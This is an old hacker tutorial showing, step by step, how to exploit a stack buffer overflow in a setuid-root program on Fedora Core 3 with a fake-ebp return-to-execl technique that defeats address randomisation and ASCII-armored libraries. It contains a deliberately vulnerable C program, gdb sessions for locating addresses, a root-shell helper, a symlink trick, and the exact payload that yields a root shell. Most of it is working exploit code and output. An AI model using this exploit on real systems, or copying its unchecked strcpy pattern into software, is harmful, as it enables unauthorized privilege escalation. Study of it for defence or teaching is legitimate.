Buffer Overflow on Fedora Core 3 using fake-ebp z0nKT1g3r @ WiseguyS wantstar@hotmail.com 2009. 2. 18. Starting from Fedora Core 3, as linux kernel went up to 2.6.x, all different sorts of randomness have been implemented to the kernel. Implementations include random stack address, random heap address, random library address. Also the execution privileges have been removed from stack and heap. On top of those, ASCII armor has been added to the address of library to prevent buffer overflow through strcpy. These defensive mechanisms are called "exe-shield." Return-to-libc will not be effective since the address of library, because now we can only execute one of library functions due to the ASCII armor. Now let's see what really happened. [wantstar@fedorac3 bof]$ uname -a Linux fedorac3 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 i686 i686 i386 GNU/Linux [wantstar@fedorac3 bof]$ cat /etc/*release Fedora Core release 3 (Heidelberg) LSB_VERSION="1.3" Fedora Core release 3 (Heidelberg) [wantstar@fedorac3 bof]$ [wantstar@fedorac3 bof]$ cat /proc/self/maps 0062a000-0063f000 r-xp 00000000 fd:00 444098 /lib/ld-2.3.3.so <--- ASCII armored library addresses 0063f000-00640000 r--p 00014000 fd:00 444098 /lib/ld-2.3.3.so 00640000-00641000 rw-p 00015000 fd:00 444098 /lib/ld-2.3.3.so 00643000-00764000 r-xp 00000000 fd:00 444099 /lib/tls/libc-2.3.3.so 00764000-00766000 r--p 00120000 fd:00 444099 /lib/tls/libc-2.3.3.so 00766000-00768000 rw-p 00122000 fd:00 444099 /lib/tls/libc-2.3.3.so 00768000-0076a000 rw-p 00768000 00:00 0 08048000-0804c000 r-xp 00000000 fd:00 261164 /bin/cat 0804c000-0804d000 rw-p 00003000 fd:00 261164 /bin/cat 092d9000-092fa000 rw-p 092d9000 00:00 0 <--- heap : 092d9000-092fa000 f6df6000-f6ff6000 r--p 00000000 fd:00 493269 /usr/lib/locale/locale-archive f6ff6000-f6ff7000 rw-p f6ff6000 00:00 0 fee84000-ff000000 rw-p fee84000 00:00 0 <--- stack : fee84000-ff000000 ffffe000-fffff000 ---p 00000000 00:00 0 [wantstar@fedorac3 bof]$ Notice how the address of heap and stack change. [wantstar@fedorac3 bof]$ cat /proc/self/maps 0062a000-0063f000 r-xp 00000000 fd:00 444098 /lib/ld-2.3.3.so 0063f000-00640000 r--p 00014000 fd:00 444098 /lib/ld-2.3.3.so 00640000-00641000 rw-p 00015000 fd:00 444098 /lib/ld-2.3.3.so 00643000-00764000 r-xp 00000000 fd:00 444099 /lib/tls/libc-2.3.3.so 00764000-00766000 r--p 00120000 fd:00 444099 /lib/tls/libc-2.3.3.so 00766000-00768000 rw-p 00122000 fd:00 444099 /lib/tls/libc-2.3.3.so 00768000-0076a000 rw-p 00768000 00:00 0 08048000-0804c000 r-xp 00000000 fd:00 261164 /bin/cat 0804c000-0804d000 rw-p 00003000 fd:00 261164 /bin/cat 08c42000-08c63000 rw-p 08c42000 00:00 0 <--- heap : 08c42000-08c63000 f6df6000-f6ff6000 r--p 00000000 fd:00 493269 /usr/lib/locale/locale-archive f6ff6000-f6ff7000 rw-p f6ff6000 00:00 0 fef70000-ff000000 rw-p fef70000 00:00 0 <--- stack : fef70000-ff000000 ffffe000-fffff000 ---p 00000000 00:00 0 [wantstar@fedorac3 bof]$ However, we can see that library address isn't actually random at all. It means that we will still be able to call the library function, but the number is only limited to one due to the ASCII armor. What can we call to gain shell access at once. One of the exec function family would be a good idea. Among the exec functions, execl seems to be a perfect canditate, because we don't really have a choice in terms of what the arguments are going to be for the function. int execl(const char *path, const char *arg, ...); int execlp(const char *file, const char *arg, ...); int execle(const char *path, const char *arg , ..., char * const envp[]); int execv(const char *path, char *const argv[]); int execvp(const char *file, char *const argv[]); As it seems it has the simplest prototype. In order to manipulate the arguments of this function, we need to inject our fake ebp. Instead of overwriting only RET, we will be overwriting RET and SFP this time. What will it do? It will give a wrong reference to mother function, so that the mother function will refer to the wrong places for its variables. As much as we all want to actually "edit" the arguments, we really can't this time. Instead, we need to stick with whatever is given on the memory. [vuln.c] int main(int argc, char **argv){ char buf[8]; strcpy(buf, argv[1]); printf("Hello %s\n",buf); } Our attack scheme for vuln.c will be ./vuln [AAAA][BBBB][OUR FAKE EBP][ADDRESS OF EXECL+3] Now, let's get to work! [wantstar@fedorac3 bof]$ cat vuln.c int main(int argc, char **argv){ char buf[8]; strcpy(buf, argv[1]); printf("Hello %s\n",buf); } [wantstar@fedorac3 bof]$ ll total 12 -rwsr-sr-x 1 root root 4856 Feb 18 21:17 vuln -rw-r--r-- 1 root root 99 Feb 18 21:17 vuln.c [wantstar@fedorac3 bof]$ [wantstar@fedorac3 bof]$ gdb -q vuln (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x080483a0 : push %ebp 0x080483a1 : mov %esp,%ebp 0x080483a3 : sub $0x8,%esp 0x080483a6 : and $0xfffffff0,%esp 0x080483a9 : mov $0x0,%eax 0x080483ae : add $0xf,%eax 0x080483b1 : add $0xf,%eax 0x080483b4 : shr $0x4,%eax 0x080483b7 : shl $0x4,%eax 0x080483ba : sub %eax,%esp 0x080483bc : sub $0x8,%esp 0x080483bf : mov 0xc(%ebp),%eax 0x080483c2 : add $0x4,%eax 0x080483c5 : pushl (%eax) 0x080483c7 : lea 0xfffffff8(%ebp),%eax 0x080483ca : push %eax 0x080483cb : call 0x80482e8 <_init+72> 0x080483d0 : add $0x10,%esp 0x080483d3 : sub $0x8,%esp 0x080483d6 : lea 0xfffffff8(%ebp),%eax 0x080483d9 : push %eax 0x080483da : push $0x80484cc 0x080483df : call 0x80482d8 <_init+56> 0x080483e4 : add $0x10,%esp 0x080483e7 : leave 0x080483e8 : ret 0x080483e9 : nop 0x080483ea : nop 0x080483eb : nop End of assembler dump. (gdb) b *main+48 Breakpoint 1 at 0x80483d0 (gdb) r aaaa Starting program: /home/wantstar/bof/vuln aaaa (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x080483d0 in main () (gdb) x/16x $esp 0xfef139f0: 0xfef13a10 0xfef89c1f 0xfef13a18 0x08048406 0xfef13a00: 0x00000000 0x00765ff4 0x080494dc 0x00765ff4 0xfef13a10: 0x61616161 0x0063fc00 0xfef13a78 0x00657e33 0xfef13a20: 0x00000002 0xfef13aa4 0xfef13ab0 0x00635ab6 (gdb) 0xfef13a10: 0x61616161 0x0063fc00 0xfef13a78 0x00657e33 We can see that SFP and RET are located right before buf. Now let's try to find out the address of execl function on the memory. (gdb) x/x execl 0x6cc720 : 0x8de58955 (gdb) x/10i execl 0x6cc720 : push %ebp 0x6cc721 : mov %esp,%ebp 0x6cc723 : lea 0x10(%ebp),%ecx 0x6cc726 : push %edi 0x6cc727 : push %esi 0x6cc728 : push %ebx 0x6cc729 : sub $0x1038,%esp 0x6cc72f : mov 0xc(%ebp),%eax 0x6cc732 : movl $0x400,0xfffffff0(%ebp) 0x6cc739 : lea 0x1b(%esp),%edx (gdb) x/x execl+3 0x6cc723 : 0x57104d8d (gdb) Our final address for execl will be 0x6cc723, since first two instructions of execl will mess up our custom-made fake ebp. Where would we want ebp to point? It would be some place on the memory where it has series of bytes that satisfy the arguments of execl. Also the place that we are looking for cannot be under random address, which would leave us with If we recall execl's prototype, int execl(const char *path, const char *arg, ...);, it looks like first argument has to be file name to be executed, and rest will be arguments followed by NULL. So what we are looking for would look like this: [&address][TRASH][DUMMY][GIBBERISH]......[0] If you swim through the memory long enough, you will be able to find plenty of places where it would meet the requirement above. I looked at the memory map and looked at the places where it's not random. 08048000-0804c000 r-xp 00000000 fd:00 261164 /bin/cat 0804c000-0804d000 rw-p 00003000 fd:00 261164 /bin/cat 0x08048000 is where code of an application is loaded up. (.text) [wantstar@fedorac3 bof]$ gdb -q vuln (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x80483a6 (gdb) r Starting program: /home/wantstar/bof/vuln (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x080483a6 in main () (gdb) x/1000x 0x08049000 0x8049000: 0x464c457f 0x00010101 0x00000000 0x00000000 0x8049010: 0x00030002 0x00000001 0x080482f8 0x00000034 0x8049020: 0x000007e0 0x00000000 0x00200034 0x00280007 0x8049030: 0x0019001c 0x00000006 0x00000034 0x08048034 0x8049040: 0x08048034 0x000000e0 0x000000e0 0x00000005 0x8049050: 0x00000004 0x00000003 0x00000114 0x08048114 0x8049060: 0x08048114 0x00000013 0x00000013 0x00000004 ... 0x80492a0: 0x83e58955 0x71e808ec 0xe8000000 0x000000c4 0x80492b0: 0x0001cfe8 0x00c3c900 0x95c035ff 0x25ff0804 *0x80492c0: 0x080495c4 0x00000000 0x95c825ff 0x00680804 0x80492d0: 0xe9000000 0xffffffe0 0x95cc25ff 0x08680804 I decided to use the part below for the arguments of execl. 0x80492c0: 0x080495c4 0x00000000 0x95c825ff 0x00680804 So if the execl was to execute, it will execute a program named whatever the 0x080495c4 is pointing to and the NULL will be followed at the end. (gdb) x/x 0x080495c4 0x80495c4 <_GLOBAL_OFFSET_TABLE_+8>: 0x006359e0 (gdb) Since execl will execute \xe0\x59\x63, we need to link it to the shell. [wantstar@fedorac3 bof]$ cat > sh.c int main(){ setreuid(0,0); system("/bin/sh"); } [wantstar@fedorac3 bof]$ make sh cc sh.c -o sh [wantstar@fedorac3 bof]$ ln -s sh `printf "\xe0\x59\x63"` [wantstar@fedorac3 bof]$ ls cY? sh sh.c vuln vuln.c [wantstar@fedorac3 bof]$ ls -al total 32 drwxrwxr-x 2 wantstar wantstar 4096 Feb 18 21:41 . drwx------ 4 wantstar wantstar 4096 Feb 18 21:17 .. lrwxrwxrwx 1 wantstar wantstar 2 Feb 18 21:41 cY? -> sh -rwxrwxr-x 1 wantstar wantstar 4840 Feb 18 21:41 sh -rw-rw-r-- 1 wantstar wantstar 50 Feb 18 21:41 sh.c -rwsr-sr-x 1 root root 4856 Feb 18 21:17 vuln -rw-r--r-- 1 root root 99 Feb 18 21:17 vuln.c [wantstar@fedorac3 bof]$ Now let's attack with following payloads. ./vuln `printf "aaaabbbb[0x80492c0-0x8][&execl+3]"` The reason why we subtract 8 from the address of the argument is because of calling convention and how it refers to the argument through ebp register. ./vuln `printf "aaaabbbb\xb8\x92\x04\x08\x23\xc7\x6c"` [wantstar@fedorac3 bof]$ ./vuln `printf "aaaabbbb\xb8\x92\x04\x08\x23\xc7\x6c"` Hello aaaabbbb¢¬#Cl sh-3.00# id uid=0(root) gid=500(wantstar) groups=500(wantstar) sh-3.00# =) Reference: Fedora Core 3,4,5 stack overflow -randomkid __EOF__